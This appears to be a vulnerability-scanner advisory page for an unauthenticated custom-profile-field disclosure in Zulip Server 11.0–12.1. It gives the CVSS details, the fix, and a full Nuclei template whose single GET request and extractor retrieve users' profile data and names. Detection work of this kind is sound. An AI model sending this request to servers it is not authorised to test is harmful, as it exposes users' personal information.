Zulip Server 11.0 - 12.1 - Unauthenticated Custom Profile Field Disclosure

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

Zulip 11.0 to 12.1 contains an information disclosure caused by missing access-control check in GET /json/users endpoint, letting unauthenticated spectators access all users' custom profile fields, exploit requires web-public channels enabled.

Impact

Unauthenticated attackers can access all users' custom profile fields, exposing sensitive user information.

Fix

pdate to version 12.2 or later.

How to confirm it

Send: GET /json/users?include_custom_profile_fields=true
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "\"result\":\"success\"", "\"members\"", "\"profile_data\"")

Run it with nuclei: nuclei -id CVE-2026-115574 -u <target>

The full check

id: CVE-2026-115574

info:
  name: Zulip Server 11.0 - 12.1 - Unauthenticated Custom Profile Field Disclosure
  author: maulanawirawan
  severity: medium
  description: |
    Zulip 11.0 to 12.1 contains an information disclosure caused by missing access-control check in GET /json/users endpoint, letting unauthenticated spectators access all users' custom profile fields, exploit requires web-public channels enabled.
  impact: |
    Unauthenticated attackers can access all users' custom profile fields, exposing sensitive user information.
  remediation: |
    pdate to version 12.2 or later.
  reference:
    - https://github.com/zulip/zulip/security/advisories/GHSA-3m37-hwq6-jrj8
    - https://github.com/zulip/zulip/commit/6f33a8fa345ba776039a3f46131c253599a3ba15
    - https://github.com/zulip/zulip/commit/774d4c7b12755178fa406f0c0f3b2cafdbbec32c
    - https://github.com/zulip/zulip/pull/39913
    - https://nvd.nist.gov/vuln/detail/CVE-2026-115574
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-115574
    epss-score: 0.00705
    epss-percentile: 0.53686
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: zulip
    product: zulip_server
    shodan-query: http.html:"zulip"
    fofa-query: app="Zulip"
  tags: cve,cve2026,zulip,exposure,unauth,info-disclosure

http:
  - raw:
      - |
        GET /json/users?include_custom_profile_fields=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "\"result\":\"success\"", "\"members\"", "\"profile_data\"")'
        condition: and

    extractors:
      - type: json
        name: exposed_users
        json:
          - '.members[0:3][] | .full_name'

References

Use this check only on systems you are authorised to test. Where the data comes from